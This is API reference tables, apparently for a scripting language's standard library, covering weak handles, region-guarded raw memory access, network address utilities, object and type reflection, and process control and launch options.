Alive	`Alive(h:instance) – bool`	`true` while the handle's target lives.	—
Create	`Create(v:any) – instance`	A handle on `v`. Raises `Exception.InvalidArguments` for `nil`, a number, a bool or a char - values with no lifetime to observe.	—

Function	Signature	Description	JIT
Get	`Get(h:instance) - any`	The target while it lives, `nil` afterwards. The result is an ordinary owning reference: keep it only as long as needed. Raises `Exception.InvalidArguments` for an instance that is not a handle.	—

- Handles never extend a lifetime: a value reached only through handles is freed as soon as its last owner lets go.
- `Object.Clone(h)` is a second, independent handle on the same target.
- A value owned by a structure that was just dropped dies when the deferred-free queue next drains, not on the same instruction as its owner; a handle on it resolves until then.
- A handle on a static value (a class, a module) always resolves.

`Weak.Create(v)` is the one way to make a handle; the former `weak(v)` keyword is gone.

```
class Node {
    let child = nil;    // owned
    let parent = nil;   // observed
    fn Adopt(c) { this.child = c; c.parent = Weak.Create(this); }
    fn Up() { return Weak.Get(this.parent); }   // nil once the parent is gone
}
```

Memory

Namespace: `Memory`

Unsafe raw memory access. Requires `--unsafe` flag. `ptr` = `int\|string\|block\|pointer` (any pointer-like value - see legend).

> **Region requirement.** Every access is guarded: the `[ptr, ptr+width)` span must lie inside a **registered** region, otherwise the call raises `Forbidden/Invalid memory-access` and yields `nil`/no-op. Registered regions come from `Memory.Alloc`, `Memory.Pin`, or a `block`'s backing store (`Buffer.Create`/`GetAddress`). A plain `string` address is **not** registered, so passing a bare string is rejected — copy it into a block (`Buffer.FromString`) or `Pin` its address first.

Function	Signature	Description	JIT
Alloc	`Alloc(size:int) - int`	Allocate `size` bytes; returns the raw address. `0` if `size <= 0` or exceeds the 2 GiB per-allocation cap. Caller must `Free`.	✓ `--unsafe`
BitClear	`BitClear(ptr:int|string|block|pointer, bit:int, offset?:int) - nil`	Clear bit `bit & 7` of the byte at `ptr` (+ `offset`).	✓ `--unsafe`
BitSet	`BitSet(ptr:int|string|block|pointer, bit:int, offset?:int) - nil`	Set bit `bit & 7` of the byte at `ptr` (+ `offset`).	✓ `--unsafe`
BitTest	`BitTest(ptr:int|string|block|pointer, bit:int, offset?:int) - bool`	`true` if bit `bit & 7` of the byte at `ptr` (+ `offset`) is set.	✓ `--unsafe`
BitToggle	`BitToggle(ptr:int|string|block|pointer, bit:int, offset?:int) - nil`	Flip bit `bit & 7` of the byte at `ptr` (+ `offset`).	✓ `--unsafe`

Function	Signature	Description	JIT
Compare	`Compare(a:int|string|block|pointer, b:int|string|block|pointer, len:int) - int`	`memcmp(a, b)` over `len` bytes: negative when `a` sorts first, 0 when equal, positive otherwise. Region-guarded.	✓ `--unsafe`
Copy	`Copy(dst:int|string|block|pointer, src:int|string|block|pointer, len:int) - nil`	`memcpy` `len` bytes — the spans must **not** overlap (use `Move` if they might). Region-guarded.	✓ `--unsafe`
Move	`Move(dst:int|string|block|pointer, src:int|string|block|pointer, len:int) - nil`	`memmove` `len` bytes; the `dst` and `src` spans **may** overlap. Region-guarded.	✓ `--unsafe`
Fill	`Fill(addr:int|string|block|pointer, value:int, len:int) - nil`	Set `len` bytes at `addr` to byte `value` (0–255). Region-guarded; `nil` /no-op out of region or on a bad value.	✓ `--unsafe`
Free	`Free(addr:int) - nil`	Release a region returned by `Alloc`; `Free(0)` does nothing. Any other address - a block's backing store, a `Pin`ned region, an interior pointer - raises `Forbidden/Invalid memory-access` and is left untouched.	✓ `--unsafe`
IsLittleEndian	`IsLittleEndian() - bool`	`true` if host is little-endian.	—
Pin	`Pin(addr:int, size:int) - int`	Register an externally-owned region (e.g. an FFI buffer) so the peek/poke guards accept it; returns `addr`. `0` for `addr <= 0`, a `size` that is not below the 2 GiB per-allocation cap, or a span that wraps around. Does not allocate or take ownership; the caller vouches for the memory (a pinned span nothing backs is a wild read). **Must be paired with `Unpin`** — a region left pinned at exit is reported as a leaked block region (and fails under `--mem`).	✓ `--unsafe`
Process	`Process(addr:int, len:int, elemSize:int, fn:function) - bool`	In-place map: for each of `len` elements of `elemSize` (1/2/4/8) bytes at `addr`, calls `fn(value:int, index:int)` and stores the integer it returns back, truncated to the element width. `false` on a bad size or length or an unregistered span; a `fn` that cannot take `(value, index)` raises `InvalidArguments`, as any call does; `nil` if `fn` raised. At most 128 Mi elements per call (a 1 GiB span with 8-byte elements).	—
ProcessCallback	`ProcessCallback(fn, address:int, start:int, len:int, cb)`	Processes a raw memory range with your worker function `fn(address, start, len)` (which reads/writes it via `Memory.Read*`/`Write*`), then calls `cb(address, result)` when finished. Runs on another CPU core when `fn` is simple enough (only `Memory.Read*`/`Write*` on that address, plain number math, no calls or allocations) — otherwise runs normally,	✓ `--unsafe`

Function	Signature	Description	JIT
		same result. **Don't allocate or free memory while the job is running.**	
ProcessEvent	`ProcessEvent(fn, address:int, start:int, len:int, eventId:int)`	Like `ProcessCallback`, but signals event `eventId` with the result instead of calling a callback. Wait for several with `Event.WaitFor([ids])`.	✓ `--unsafe`
Read8	`Read8(ptr:int|string|block|pointer, offset?:int) - int`	Read 1 byte at ptr+offset.	✓ `--unsafe`
Read16	`Read16(ptr:int|string|block|pointer, offset?:int) - int`	Read 2 bytes, host byte order (little-endian on every supported target).	✓ `--unsafe`
Read32	`Read32(ptr:int|string|block|pointer, offset?:int) - int`	Read 4 bytes, host byte order (little-endian on every supported target).	✓ `--unsafe`
Read64	`Read64(ptr:int|string|block|pointer, offset?:int) - int`	Read 8 bytes, host byte order (little-endian on every supported target).	✓ `--unsafe`
ReadBytes	`ReadBytes(ptr:int|string|block|pointer, offset?:int) - block`	Read a NUL-terminated byte run at `ptr` (+ `offset`) into a new block (excluding the terminator). The scan is bounded to the registered region. Raises `Forbidden/Invalid memory-access` outside every registered region; `nil` when no terminator lies inside it.	✓ owned[1] `--unsafe`
ReadFloat32	`ReadFloat32(ptr:int|string|block|pointer, offset?:int) - float`	Read IEEE-754 single.	✓ `--unsafe`
ReadFloat64	`ReadFloat64(ptr:int|string|block|pointer, offset?:int) - float`	Read IEEE-754 double.	✓ `--unsafe`
ReadString	`ReadString(ptr:int|string|block|pointer, offset?:int) - string`	Read a NUL-terminated string from `ptr` (+ `offset`). The scan is bounded to the registered region (never runs off the allocation). Raises `Forbidden/Invalid memory-access` outside every registered region; `nil` when no terminator lies inside it.	✓ owned[1] `--unsafe`
Swap16	`Swap16(v:int) - int`	Byte-swap 16-bit value. No `--unsafe` needed.	✓
Swap32	`Swap32(v:int) - int`	Byte-swap 32-bit value. No `--unsafe` needed.	✓
Swap64	`Swap64(v:int) - int`	Byte-swap 64-bit value. No `--unsafe` needed.	✓
Unpin	`Unpin(addr:int) - bool`	Remove a region previously registered with `Pin`; returns `true` if it was tracked. A block's backing store or an `Alloc` region is left alone (`false`). Does not free the underlying memory.	✓ `--unsafe`
Write8	`Write8(ptr:int|string|block|pointer, value:int, offset?:int) - nil`	Write 1 byte.	✓ `--unsafe`
Write16	`Write16(ptr:int|string|block|pointer, value:int, offset?:int) - nil`	Write 2 bytes, host byte order.	✓ `--unsafe`
Write32	`Write32(ptr:int|string|block|pointer, value:int, offset?:int) - nil`	Write 4 bytes, host byte order.	✓ `--unsafe`
Write64	`Write64(ptr:int|string|block|pointer, value:int, offset?:int) - nil`	Write 8 bytes, host byte order.	✓ `--unsafe`

Function	Signature	Description	JIT
WriteBytes	`WriteBytes(ptr:int|string|block|pointer, s:string, offset?:int) - nil`	Write all `len(s)` bytes of `s` (no NUL terminator) at `ptr` (+ `offset`). Region-guarded.	✓ `--unsafe`
WriteFloat32	`WriteFloat32(ptr:int|string|block|pointer, value:float, offset?:int) - nil`	Write IEEE-754 single.	✓ `--unsafe`
WriteFloat64	`WriteFloat64(ptr:int|string|block|pointer, value:float, offset?:int) - nil`	Write IEEE-754 double.	✓ `--unsafe`
WriteString	`WriteString(ptr:int|string|block|pointer, s:string, offset?:int) - nil`	Write all `len(s)` bytes of `s` plus a NUL terminator at `ptr` (+ `offset`). Region-guarded.	✓ `--unsafe`

Net

Namespace: `Net`

Network utility functions: DNS resolution, IP parsing/conversion, address classification, CIDR math, and connectivity checks. Available on all platforms. Synchronous resolvers (`ResolveDNS`, `ResolveIPv4`, `ResolveIPv6`, `ReverseDNS`) block the single-threaded VM for the duration of the lookup — prefer the `*Async` forms on hot/UI paths.

Function	Signature	Description	JIT
BytesToIP	`BytesToIP(bytes:array) - string|nil`	Convert a 4- (IPv4) or 16-element (IPv6) byte array to an IP string. `nil` for any other length.	—
GetHostname	`GetHostname() - string|nil`	Returns machine hostname, or `nil` on error.	—
GetLocalIP	`GetLocalIP() - string|nil`	Returns primary local IP address (IPv4 preferred; falls back to IPv6). `nil` if fully offline.	—
IpInRange	`IpInRange(ip:string, cidr:string) - bool`	`true` if `ip` falls inside `cidr` (e.g. `"10.1.2.3", "10.0.0.0/8"`). A v4 address is never inside a v6 range. `false` on malformed input.	—
IpToBytes	`IpToBytes(ip:string) - array|nil`	Convert an IP string to its byte array (4 or 16 ints). `nil` if not a valid literal.	—
IPVersion	`IPVersion(ip:string) - int`	`4`, `6`, or `0` if `ip` is not a valid literal.	—
IsLinkLocal	`IsLinkLocal(ip:string) - bool`	`true` for `169.254.0.0/16` or `fe80::/10`.	—
IsLoopback	`IsLoopback(ip:string) - bool`	`true` for `127.0.0.0/8` or `::1`.	—
IsMulticast	`IsMulticast(ip:string) - bool`	`true` for `224.0.0.0/4` or `ff00::/8`.	—
IsPrivate	`IsPrivate(ip:string) - bool`	`true` for RFC1918 (`10/8`, `172.16/12`, `192.168/16`) or IPv6 ULA `fc00::/7`. IPv4-mapped IPv6 is unwrapped first.	—
IsReachable	`IsReachable(host:string, port:int, timeoutMs?:int) - bool`	TCP reachability check. Resolves both IPv4 and IPv6 and tries each under one total deadline. `timeoutMs` defaults to 1000 (clamped to a sane range).	—
IsReachableAsync	`IsReachableAsync(host:string, port:int, timeoutMs?:int) - fiber`	Non-blocking `IsReachable`. Use with `await`; resolves to a bool.	—
IsValidIP	`IsValidIP(s:string) - bool`	`true` if string is a valid IPv4 or IPv6 literal.	—
IsValidIPv4	`IsValidIPv4(s:string) - bool`	`true` only for a valid IPv4 literal.	—
IsValidIPv6	`IsValidIPv6(s:string) - bool`	`true` only for a valid IPv6 literal.	—
ParseCIDR	`ParseCIDR(cidr:string) - object|nil`	Parse `addr/prefix` into `{ network, prefix, version }` (plus `netmask`,	—

Function	Signature	Description	JIT
		`broadcast` for IPv4). `nil` on malformed input or out-of-range prefix.	
ResolveDNS	`ResolveDNS(host:string) - array`	Resolve hostname to array of IP strings (IPv4 and IPv6), capped at 32. Empty array on failure.	—
ResolveDNSAsync	`ResolveDNSAsync(host:string) - fiber`	Non-blocking `ResolveDNS`. Use with `await`. Other fibers run during the DNS lookup.	—
ResolveIPv4	`ResolveIPv4(host:string) - array`	Resolve to array of IPv4 address strings.	—
ResolveIPv4Async	`ResolveIPv4Async(host:string) - fiber`	Non-blocking `ResolveIPv4`. Use with `await`. Other fibers run during the DNS lookup.	—
ResolveIPv6	`ResolveIPv6(host:string) - array`	Resolve to array of IPv6 address strings.	—
ResolveIPv6Async	`ResolveIPv6Async(host:string) - fiber`	Non-blocking `ResolveIPv6`. Use with `await`. Other fibers run during the DNS lookup.	—
ReverseDNS	`ReverseDNS(ip:string) - string|nil`	Reverse lookup: IP → hostname. `nil` on a bad literal / no PTR record.	—
ReverseDNSAsync	`ReverseDNSAsync(ip:string) - fiber`	Non-blocking `ReverseDNS`. Use with `await`; resolves to the hostname string, or `nil` on a bad literal / no PTR record.	—

Object

Namespace: **`Object`**

Introspection and manipulation of `object` values, plus read-only reflection over `instance` and `class` values.

`Keys`, `Values`, `Count` and `Entries` accept an `instance` or `class` and reflect its declared **fields** (base-first, in declaration order): the field names, an instance's current field values (a class's field defaults), and the field count. The mutating and higher-order helpers (`Merge`, `Delete`, `Clear`, `Select`, `Where`, `Pick`, `MapKeys`, `Invert`, `Reduce`, `Any`, `All`) are **object-only** — a class's schema is sealed.

Properties iterate in insertion order, identically in every process. Field reflection order is the class's declaration order.

Function	Signature	Description	JIT
Clear	`Clear(obj:object) - bool`	Remove all properties from `obj`. Mutates. Raises if `obj` is frozen.	—
Clone	`Clone(value:any) - any`	Deep clone: scalars, strings, arrays (including flat `[int]` / `[float]`), objects, classes and instances are copied recursively; functions, builtins, modules and exceptions are shared (ref-counted, not copied). A **cyclic** value (or nesting past the clone-depth limit) raises `Exception.NestingError` rather than looping forever.	—
Count	`Count(obj:object|instance|class) - int`	Number of properties (object) or declared fields (instance/class); `0` for anything else.	✓
Delete	`Delete(obj:object, key:string|int|char) - bool`	Delete property `key`. Returns `true` if existed. Raises if `obj` is frozen.	—
Entries	`Entries(obj:object|instance|class) - array`	Array of `[key, value]` pairs (object properties, or field name → value).	—
Freeze	`Freeze(obj:object) - bool`	Makes `obj` read-only. Any subsequent write throws — including via `Merge` / `Delete` / `Clear`. Shallow only. Returns `false` for a non-object. Query with `IsFrozen`.	—

Function	Signature	Description	JIT
FromEntries	`FromEntries(pairs:array) - object`	Inverse of `Entries`: builds an object from an array of `[key, value]` pairs. A key is a string, or an int or char standing for its text. A later duplicate key overwrites the earlier. `nil` for a malformed entry or any other key.	—
FromKeys	`FromKeys(arr:array, value:any) - object`	Creates new object from an array of keys, all set to `value`. A key is a string, or an int or char standing for its text (`[1, 2]` gives the properties `"1"` and `"2"`). `nil` if `arr` is nil or holds any other key.	—
All	`All(obj:object, func:fn) - bool`	Returns `true` if `fn(key, value)` is truthy for every entry. Returns `true` for an empty object.	—
Any	`Any(obj:object, func:fn) - bool`	Returns `true` if `fn(key, value)` is truthy for at least one entry. Returns `false` for an empty object.	—
HasKey	`HasKey(obj:object, key:string|int|char) - bool`	`true` if property `key` exists; `false` for anything that is not an object.	✓
Invert	`Invert(obj:object) - object`	Returns a new object with keys and values swapped. Values are coerced to string to become keys.	—
IsFrozen	`IsFrozen(obj:object) - bool`	`true` if `obj` was frozen by `Freeze`. `false` for an unfrozen object or a non-object.	✓
IsNil	`IsNil(val:any) - bool`	`true` if `val` is `nil`. Single-arg; usable as a fast-path callback to `Array.Where`, `Array.Find`, `Array.Count`, etc.	✓
Keys	`Keys(obj:object|instance|class) - array`	Array of property names (object) or field names (instance/class).	—
MapKeys	`MapKeys(obj:object, func:fn) - object`	Returns a new object with keys transformed by `fn(key)`. Values are kept; new keys are coerced to string. Builtin functions (e.g. `String.ToUpper`) use the fast path.	—
Merge	`Merge(dst:object, src:object) - bool`	Copy all `src` properties into `dst`. Mutates `dst`. Shallow. Raises if `dst` is frozen.	—
NotNil	`NotNil(val:any) - bool`	`true` if `val` is not `nil`. Single-arg; usable as a fast-path callback to `Array.Where`, `Array.Find`, `Array.Count`, etc.	✓
Pick	`Pick(obj:object, keys:array) - object`	Returns new object with only the listed keys: strings, or ints or chars standing for their text. `nil` if `keys` holds any other key.	—
Reduce	`Reduce(obj:object, func:fn, initial:any) - any`	Folds over entries: `acc = fn(acc, key, value)` starting from `initial`.	—
Select	`Select(obj:object, func:fn ) - object`	Returns new object with values transformed by `fn(key, value)`.	—
TryGet	`TryGet(obj:object, key:string|int|char, default:any) - any`	Returns `obj[key]` if present, otherwise `default`.	—
Values	`Values(obj:object|instance|class) - array`	Array of property values (object) or field values (instance/class).	—
Where	`Where(obj:object, func:fn ) - object`	Returns new object containing only keys where `fn(key, value)` is truthy.	—

Object instance method syntax

All `Object` functions where the object is the first argument can be called directly on an `object` value:

```
var o = { name: "Alice", age: 30 };
o.Keys()                          // ["name", "age"]  - same as Object.Keys(o)
o.Values()                        // ["Alice", 30]
o.HasKey("age")                   // true
o.Count()                         // 2
o.Delete("age")                   // same as Object.Delete(o, "age")
o.Merge({ city: "Stockholm" })    // same as Object.Merge(o, ...)
o.Where(fn(k, v) { return v != nil; })
o.Select(fn(k, v) { return String.ToUpper(v); })
```

Functions that do not take an object as first argument (`FromKeys` , `FromEntries`) are not available as instance methods. Both forms compile to identical bytecode when the variable is typed (`: object` or inferred). Untyped variables fall back to a runtime dispatch.

Type

Namespace: **`Type`**

Integer constants representing every runtime type. Used with the `type()` built-in, which returns the type of a value as an `int` bitmask.

```
type(42)      == Type.Int;       // true
type("hello") == Type.String;    // true
(type(x) & Type.Callable ) != 0; // true for functions, builtins, bound methods, FFI
(type(x) & Type.Number) != 0;    // true for int or float

Type.Is(x, Type.Callable);               // true for any function type
Type.Is(x, Type.Int | Type.Float);       // ad-hoc union without a named composite

Type.Name(42);                           // "int"
Type.Name([]);                           // "array"

Type.Assert(x, Type.Int);               // throws if x is not int
Type.Assert(x, Type.Number, "expected a number");
```

Functions

Function	Signature	Description	JIT
Assert	`Assert(x:any, mask:int, msg?:string) - bool`	Throws `InvalidArgs` if `type(x)` does not match `mask` . Optional custom message. Returns `true` on success.	✓
Is	`Is(x:any, mask:int) - bool`	Returns `true` if `type(x)` matches any bit in `mask` . Use with composite constants.	✓
IsArray	`IsArray(x:any) - bool`	`true` if `x` is an array. Single-arg; usable as a fast-path callback to `Array.Where` , `Array.Select` , `Array.Count` , etc.	✓
IsBlock	`IsBlock(x:any) - bool`	`true` if `x` is a memory block/typed buffer.	✓
IsBool	`IsBool(x:any) - bool`	`true` if `x` is a bool.	✓

Function	Signature	Description	JIT
IsCallable	`IsCallable(x:any) - bool`	`true` if `x` is any callable: function, builtin, **bound method**, or FFI. Superset of `IsFunction`.	✓
IsChar	`IsChar(x:any) - bool`	`true` if `x` is a character.	✓
IsClass	`IsClass(x:any) - bool`	`true` if `x` is a class definition. For "is `x` an instance of class `C`" use `Class.InstanceOf`.	✓
IsException	`IsException(x:any) - bool`	`true` if `x` is an exception object.	✓
IsFiber	`IsFiber(x:any) - bool`	`true` if `x` is a fiber.	✓
IsFloat	`IsFloat(x:any) - bool`	`true` if `x` is a float.	✓
IsFunction	`IsFunction(x:any) - bool`	`true` if `x` is a plain function, builtin, or FFI function. Does **not** include bound methods - use `IsCallable` for those.	✓
IsInstance	`IsInstance(x:any) - bool`	`true` if `x` is a class instance (of any class). For a specific class use `Class.InstanceOf`.	✓
IsInt	`IsInt(x:any) - bool`	`true` if `x` is an integer.	✓
IsModule	`IsModule(x:any) - bool`	`true` if `x` is a built-in module.	✓
IsNil	`IsNil(x:any) - bool`	`true` if `x` is `nil`.	✓
IsNumber	`IsNumber(x:any) - bool`	`true` if `x` is an integer or float.	✓
IsObject	`IsObject(x:any) - bool`	`true` if `x` is a plain object.	✓
IsStream	`IsStream(x:any) - bool`	`true` if `x` is a file/network stream.	✓
IsString	`IsString(x:any) - bool`	`true` if `x` is a string.	✓
Name	`Name(x:any) - string`	Returns the type as a human-readable string: `"int"`, `"array"`, `"fiber"`, etc. Single-arg; usable as a callback.	✓ owned[1]
NameOf	`NameOf(code:int) - string`	Returns the readable name of a `Type.*` code or a composite mask, e.g. `NameOf(Type.Number)` - `"int|float"`. The inverse of `Of`.	✓ owned[1]
Of	`Of(x:any) - int`	Returns the type bitmask of `x` - the referenceable equivalent of the `type()` built-in. Single-arg; usable as a callback (e.g. `Array.SortBy(items, Type.Of)`).	✓

> The numeric values below are implementation-defined bit flags. Always compare against the `Type.*` constants (`type(x) == Type.Int`, `Type.Is(x, Type.Number)`), never against hardcoded hex - the underlying bits may change between releases.

Primitive Types

Constant	Value	Matches
`Type.Nil`	`0x000001`	`nil`
`Type.Bool`	`0x000080`	`true`, `false`
`Type.Char`	`0x000002`	character literals
`Type.Int`	`0x000008`	integers
`Type.Float`	`0x000004`	floating-point numbers
`Type.String`	`0x000010`	strings

Collection Types

Constant	Value	Matches
`Type.Array`	`0x000040`	arrays
`Type.Object`	`0x000020`	plain objects

Callable Types

Constant	Value	Matches
`Type.Function`	`0x0010000`	user-defined functions
`Type.BuiltinFunction`	`0x0020000`	built-in functions
`Type.FFIFunction`	`0x0800000`	FFI-loaded native functions
`Type.BoundMethod`	`0x0100000`	bound instance methods

Object-Oriented Types

Constant	Value	Matches
`Type.Class`	`0x1000000`	class definitions
`Type.Instance`	`0x2000000`	class instances
`Type.Module`	`0x0040000`	built-in modules

Runtime Types

Constant	Value	Matches
`Type.Fiber`	`0x0400000`	fibers
`Type.Exception`	`0x0080000`	exception objects
`Type.Stream`	`0x4000000`	file/network streams
`Type.Block`	`0x0000100`	memory blocks
`Type.Pointer`	`0x0200000`	raw pointers (internal)

Composite Constants

These are bitmask unions - use `&` not `==`.

Constant	Matches
`Type.Number`	`int` or `float`
`Type.Numeric`	`int`, `float`, `bool`, or `char`
`Type.Callable`	any callable: fn, builtin, bound method, FFI
`Type.ObjectLike`	`object`, `instance`, `class`, or `module`

Os

Namespace: `Os`

Process, environment, and system interface. None of it needs `--unsafe`: an embedding host that must not let a script start or signal processes withholds the whole module.

Function	Signature	Description	JIT
Arch	`Arch() - string`	Returns the CPU architecture: `"x86_64"`, `"x86"`, `"mips"`, `"arm64"`, `"arm"`, or `"unknown"`.	—
Args	`Args() - array`	Returns CLI argument strings as passed to the script.	—
Bits	`Bits() - int`	Returns the pointer width of the platform in bits. Flaris ships 64-bit-only, so this currently always returns `64`.	—
Chdir	`Chdir(path:string) - bool`	Change working directory. Process-global - affects every fiber.	—
GetCwd	`GetCwd() - string`	Returns the current working directory, or `nil` if it cannot be read (e.g. the directory was removed, or its path exceeds 4096 bytes). Pairs with `Chdir`.	—
Exec	`Exec(path:string, args?:array) - nil`	Replace the current process image with `path` via `execvp` (searched on `PATH`). Buffered output is flushed first. Only returns on	—

Function	Signature	Description	JIT
		error. Does not require `--unsafe`.	
Execute	`Execute(cmd:string, sha256?:string) - string`	Run `cmd` as `sh -c cmd` (`cmd.exe /d /s /c "cmd"` on Windows, where line endings come back as `\n`); returns stdout and stderr merged into one string. Binary-safe. Returns `nil` when the shell cannot be started, the output exceeds 16 MB, or the `sha256` gate rejects the command; the command's own non-zero exit status does **not** map to `nil` (the captured output is returned regardless). Does **not** require `--unsafe`. **The command string is passed directly to the shell with no escaping or sanitization - never pass untrusted or externally-supplied input** (command-injection risk). Pass `sha256` (64-char hex, case-insensitive) to run the command only if its leading binary matches that digest - see Verifying the binary before it runs. To run a program with separate arguments and no shell, use `Os.Spawn` / `Os.RunEx` (which capture output via `execvp`) or `Os.Exec` (which replaces the image).	—
ExecuteAsync	`ExecuteAsync(cmd:string, sha256?:string) - fiber`	Non-blocking `Execute`. Use with `await`. Other fibers run while the command runs. Same security warning and the same optional `sha256` gate as `Execute`; a rejected gate resolves the await to `nil`.	—
GetEnv	`GetEnv(name:string) - string`	Read environment variable. Returns `nil` if not set.	—
GetArgValue	`GetArgValue(name:string, default?:string) - string`	Value of the first script argument of the form `name=value`. Leading dashes are ignored on both sides and a trailing `=` on `name` is optional, so `"port"`, `"--port"` and `"--port="` all find `--port=8080` — but none of them matches `--report=1`. Returns `default` (or `nil`) if not found.	—
Gid	`Gid() - int`	Returns the real group ID of the process; `0` on Windows.	—
IsRoot	`IsRoot() - bool`	`true` if the process is running as root (UID 0); on Windows, if it runs elevated (as administrator).	—
Kill	`Kill(pid:int, signal:int) - bool`	Send a signal to any process. Use standard signal numbers (e.g. `15` for SIGTERM, `9` for SIGKILL); `0` only tests that the process exists. On Linux and macOS a `pid` of `0` or below addresses a process group, as `kill(2)` does. To signal only processes this VM started, use `KillChild`.	—
Name	`Name() - string`	Returns OS name: `"Windows"`, `"Linux"` or `"macOS"`.	—
Pid	`Pid() - int`	Returns the current process ID.	—
Ppid	`Ppid() - int`	Returns the parent process ID; `0` on Windows.	—
SetEnv	`SetEnv(name:string, value:string) - bool`	Set environment variable. Process-wide: child processes started afterwards inherit it.	—
UnsetEnv	`UnsetEnv(name:string) - bool`	Remove an environment variable. `true` once it is not set (also when it never was); `false` for an empty name or one containing `=`.	—
ShellQuote	`ShellQuote(s:string) - string`	Quote `s` as a single word for `Execute`'s shell, so untrusted text can be passed as one argument: `Os.Execute("grep -- " + Os.ShellQuote(pattern) + " log.txt")`. On Linux and macOS a safe word comes back unchanged and anything else is single-quoted. On Windows `cmd.exe` expands `%VAR%` even inside quotes and cannot escape `"` there, so a string containing `%`, `"`, CR or LF returns `nil` - pass such values with `RunEx` instead.	—
Which	`Which(name:string) - string`	Full path of the program `name` would start, or `nil`. A name containing a path separator is checked as given; otherwise each absolute directory on `PATH` is searched (plus the `PATHEXT` extensions on Windows). Relative `PATH` entries, including an empty	—

Function	Signature	Description	JIT
		one, are skipped, so a program planted in the working directory is never picked.	
Sleep	`Sleep(ms:int) - bool`	Sleep current OS thread for `ms` milliseconds. Blocks all fibers - prefer `Fiber.Sleep`.	—
TempDir	`TempDir() - string`	Returns path to system temp directory.	—
Uid	`Uid() - int`	Returns the real user ID of the process; `0` on Windows.	—
Wait	`Wait(pid:int) - int`	Wait (blocking) for child process to exit. Returns its exit code, the negative signal number if killed by a signal, or `nil` when `pid` is not an unreaped child of this process (`0` and negative values included - they never select a process group).	—
WaitTimeout	`WaitTimeout(pid:int, timeoutMs:int) - object`	Wait (blocking) up to `timeoutMs` milliseconds for a child process to exit. Returns `{Alive:bool, Exit:int, TimedOut:bool}`; when the deadline expires first, `Alive` stays `true`, `Exit` is `nil` and `TimedOut` is `true`. `timeoutMs <= 0` checks once. `Exit` is `nil` when `pid` is not an unreaped child of this process.	—
WaitAsync	`WaitAsync(pid:int, timeoutMs?:int) - fiber`	Wait for a child to exit without blocking other fibers: `await` resolves to `{Alive:bool, Exit:int, TimedOut:bool}`, as `WaitTimeout` returns, and reaps the child once it has exited. Without `timeoutMs` it waits for the exit; `timeoutMs <= 0` checks once. On Linux and macOS the wait costs no thread and `Fiber.CancelIo` abandons it (`nil`, `Stream.LastError()` 7); on Windows it runs on the I/O pool in short slices, where `Fiber.CancelIo` cannot interrupt it - pass a timeout there.	—
Spawn	`Spawn(cmd:string, args?:array, options?:object) - object`	Start `cmd` (searched on `PATH`, no shell) with separate stdin/stdout/stderr pipes. Returns `{Pid:int, Stdin:stream, Stdout:stream, Stderr:stream}`: read and write them with `Stream.ReadLine`, `Stream.ReadLineAsync`, `Stream.WriteString` and friends, and `Stream.Close` them yourself. They are ordinary pipes, so a synchronous read waits for the child and holds up every fiber meanwhile - use the `*Async` calls to wait on the child alone. Accepts `Cwd`, `Env`, `MergeStderr` (then `Stderr` is `nil`) and `Streams`, which is still accepted and changes nothing. Returns `nil` when the program cannot be started, or while 256 spawned children are still unreaped. The child is never reaped for you - `TryWait` / `Wait` it, or it stays a zombie.	—
ReadPipe	`ReadPipe(pipe:stream) - string`	Deprecated, kept for this release: use `Stream.ReadBytes` or `Stream.ReadLine`. Reads up to 4 KB of what has arrived on a pipe from `Spawn`, without waiting. Binary-safe. Returns `nil` when nothing has arrived yet, at end of file, or for a closed stream - use `TryWait` to tell "not yet" from "finished".	—
WritePipe	`WritePipe(pipe:stream, data:string) - int`	Deprecated, kept for this release: use `Stream.WriteString`. Writes all of `data` to a spawned process's `Stdin` and returns the byte count, or `-1` on an error (the child has gone) or for a closed stream. Blocks every fiber while the pipe is full.	—
ClosePipe	`ClosePipe(pipe:stream) - bool`	Deprecated, kept for this release: use `Stream.Close`. Closes a pipe from `Spawn`; on `Stdin` the child sees end of file. `false` for a stream that is already closed.	—
IsAlive	`IsAlive(pid:int) - bool`	Returns `true` if the process with `pid` is still running. Non-blocking. Does not reap the child: a child that has exited reports `false` while its exit code stays available to `TryWait` / `Wait`.	—
TryWait	`TryWait(pid:int) - object`	Non-blocking wait. Returns `{Alive:bool, Exit:int}`. While `Alive` is `true`, `Exit` is `nil`. When `Alive` is `false` the child	—

Function	Signature	Description	JIT
		has been reaped and `Exit` holds the exit code - or `nil` when `pid` is not an unreaped child of this process (never spawned, or already reaped).	
KillChild	`KillChild(pid:int, signal:int) - bool`	Send `signal` to a process previously spawned via `Os.Spawn`. Does **not** require `--unsafe`. Returns `false` if `pid` was not spawned by this VM instance or has already been reaped. For sending signals to arbitrary PIDs use `Os.Kill`.	—
RunEx	`RunEx(cmd:string, args?:array, options?:object) - object`	Run `cmd` (searched on `PATH`, no shell) and wait for it to finish. Returns `{Exit:int, Stdout:string, Stderr:string}` with stdout and stderr captured separately; stdin is inherited unless `Stdin` is given. Accepts `Cwd`, `Env`, `Stdin`, `MergeStderr` and `Timeout` (see Launch options); with `Timeout` the result also carries `TimedOut`. Returns `nil` when the program cannot be started (not found, not executable). Each stream keeps its first 16 MB; after that the pipe is closed, so a child that keeps writing receives `SIGPIPE`.	—
RunExTimeout	`RunExTimeout(cmd:string, timeoutMs:int, args?:array, options?:object) - object`	Takes the same options as `RunEx` except `Timeout`. Run `cmd` with separate stdout/stderr capture and wait up to `timeoutMs` milliseconds. Returns `{Exit:int, Stdout:string, Stderr:string, TimedOut:bool}`. If the timeout expires first, the child is terminated and `TimedOut` is `true` with `Exit` set to `124`. The child runs in its own process group (a Job Object on Windows) and the whole group is killed, so a grandchild cannot outlive the deadline or stretch the call past it. `timeoutMs <= 0` means no limit.	—
GetEnvAll	`GetEnvAll() - object`	Returns all environment variables as an object `{NAME: "value", ...}`; `Object.Keys` lists the names.	—

Launch options

`RunEx`, `RunExTimeout` and `Spawn` take an optional options object as their last argument. An unknown option, or one of the wrong type, raises rather than being ignored.

Option	Type	Effect	Accepted by
`Cwd`	string	Working directory of the child.	all three
`Env`	object	Variables to set in the child, merged over this process's environment; a `nil` value removes the variable. The program itself is still looked up with this process's `PATH`.	all three
`Stdin`	string	Text written to the child's stdin, which is then closed. `""` gives the child an empty stdin instead of this process's. Written while the output is read, so a child that writes before it reads cannot deadlock.	`RunEx`, `RunExTimeout`
`MergeStderr`	bool	Send stderr to the same pipe as stdout, interleaved as written.	all three
`Timeout`	int	Milliseconds before the child and its process group are killed; `Exit` is then `124` and `TimedOut` is `true`.	`RunEx`
`Streams`	bool	Accepted and ignored: the pipes are always streams.	`Spawn`

```
